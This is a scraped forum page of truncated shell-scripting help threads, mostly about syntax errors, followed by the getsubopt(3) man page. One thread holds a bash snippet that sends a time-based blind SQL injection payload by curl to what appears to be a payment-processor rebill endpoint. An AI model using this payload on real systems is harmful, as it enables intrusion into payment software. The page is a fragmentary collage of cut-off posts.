Sorry for any misreading ,did you mean that I should modify the code like following?
Quote:
$exec 0<Property
while read LineInProperty
do
if [ ${LineInProperty:0:11} = New_receive ]
then
GlobalValueReceive = {LineInProperty:25}
fi
if [ {LineInProperty:0:11} = New_working ]
then
GlobalValueWorking = {LineInProperty:25}
fi
if [ ${LineInProperty:0:8} = New_temp ]
then
GlobalValueTemp = {LineInProperty:22}
fi
done
I executed the sh file with sh filename.sh,is this correct?
Dear Mr.Jean,I just touched the Korn shell script several days,thank you so much for your assistance.
Hi all,
Here is a simple script that is working in one server and is giving a syntax error in other server. Can somebody help me ?
#!/bin/bash
# ftp files
done < $file
errors:
I tried..with no success:
if ; then (21 Replies)
Hi,
I am running the following script through cygwin and getting below mentioned error.
*******************************************
#!/bin/sh
# constants
WORK_DIR="deploy"
INFOFILE="deploy.info"
INTROFILE="Intro.sh"
CMGMT_PKG="com.kintana.cmgmt.deploy"
DEPLOY_PREFIX="mitg"
... (2 Replies)
What do I do here?
#!/bin/bash
payload=-1 AND 1=IF(21,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#
hash=`echo -n $payload md5sum tr -d 'n' sed 'ss-sg' md5sum tr -d 'n' sed 'ss-sg'`
curl --data cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill... (2 Replies)
I tried to execute the code but I got this error
./Array.c: line 9: syntax error near unexpected token '('
./Array.c: line 9: ' nvals = get_data(a,MAXARRAY);'
and
#include<stdio.h>
#define MAXARRAY 1000
main()
{
int a,
nvals;
nvals =... (7 Replies)
Hi All;
I try to write a bash code and I am using command substitution. My code is like:
#!/bin/bash
IP="10.0.0.1 10.0.0.2"
PORT="22 80"
USERNAME="admin"
SCRIPT_HOST="adminHost"
HOME_DIR=/home/admin
SCRIPT_DIR=$HOME_DIR/scripts
script="sudo /my_remote_script.sh"
SSH="/usr/bin/ssh... (7 Replies)
Hi all,
I have a simple script that doesn't work somehow. I can't seem to be spotting the cause of the malfunction.
count=$((1))
for item in `cat test1.txt`
printf %s `sed -n $((count))p test2.txt` > test3.txt
count=$((count+1))
do
something
done
I get ;
./why.sh: line 3:... (14 Replies)
Hello every one!!
I don't know where I am going wrong but I am finding it difficult to clear this error of syntax error near unexpected token `else'
I am writing a simple shell script to find a file in a directory and if found execute that else return an error to the log file
... (14 Replies)
I have 2 files like a.txt and b.txt and the content is as below
cat a.txt
810750125 117780 /BSCSQAT4A/bscsqat4a/lib/jar/wclt_common.jar
1803152428 13300 /BSCSQAT4A/bscsqat4a/lib/jar/WFMSSupportTool.jar
2663502779 67049 /BSCSQAT4A/bscsqat4a/lib/jar/wma.jar
687942896 665272... (1 Reply)
Dears,
While executing the below script im getting the error at line 30. Please let me know what changes to be done to fix this.
test.sh: line 30: syntax error near unexpected token `done'
test.sh: line 30: ` done '
#!/bin/sh
# Rev. PA1
# author: eillops
# date: 26-04-2018
#
#... (1 Reply)
detect_mouse_mvt.sh
/home/andy/bin/detect_mouse_mvt.sh: line 4: syntax error near unexpected token `('
/home/andy/bin/detect_mouse_mvt.sh: line 4: `fh = file('/dev/input/mice')'
#!/bin/bash
#
#
fh = file('/dev/input/mice')
while True:
fh.read(3)
print 'Mouse... (15 Replies)
Discussion started by: drew77
15 Replies
LEARN ABOUT OSF1
getsubopt
getsubopt(3) Library Functions Manual getsubopt(3)NAME
getsubopt - Parses suboption arguments from a command line
LIBRARY
Standard C Library (libc.so, libc.a)
SYNOPSIS
#include <stdlib.h>
int getsubopt(
char **optionp,
char *tokens[],
char **valuep);
STANDARDS
Interfaces documented on this reference page conform to industry standards as follows:
getsubopt(): XPG4-UNIX
Refer to the standards(5) reference page for more information about industry standards and associated tags.
PARAMETERS
Specifies the address of a pointer to the option string. Specifies an array of possible suboption tokens. Specifies the address of a
value string pointer.
DESCRIPTION
The getsubopt() function parses suboption arguments in a flag argument that was initially parsed by the getopt() function. These suboption
arguments must be separated by commas and may consist of either a single token, or a token-value pair separated by an equal sign. Because
commas delimit suboption arguments in the option string, commas are not allowed to be part of the suboption arguments or the value of a
suboption argument. Similarly, because the equal sign separates a token from its value, a token must not contain an equal sign.
The following command line for the mount command gives an example of this syntax: mount -o ro,nosuid,rsize=8192 paradox:/u2 /u2 In this
example, the suboption consists of three arguments: ro and nosuid (tokens), and rsize=8192 (a token-value pair).
When a suboption argument is found in the *optionp string that matches a string in the token array, the index of the matching string in the
array is returned. If no match is found, then a -1 is returned. After each match, the *optionp string is updated to point past the
matched suboption argument to the next suboption argument in the list. If the suboption argument matched is the last in the string,
*optionp is set to the null pointer. If the suboption argument matched is a token-value pair, then *valuep is set to point to the value.
If there is no value, then *valuep is to the null pointer.
The token array is a list of pointers to strings. The end of the array is signified by a NULL pointer.
RETURN VALUES
Upon successful completion, the getsubopt() function returns the index of the token or suboption argument that matches the suboption argu-
ment in the input string. Otherwise, if no match is found, it returns a value of -1.
ERRORS
No errors are defined for this routine.
RELATED INFORMATION
Functions: getopt(3)
Standards: standards(5) delim off
getsubopt(3)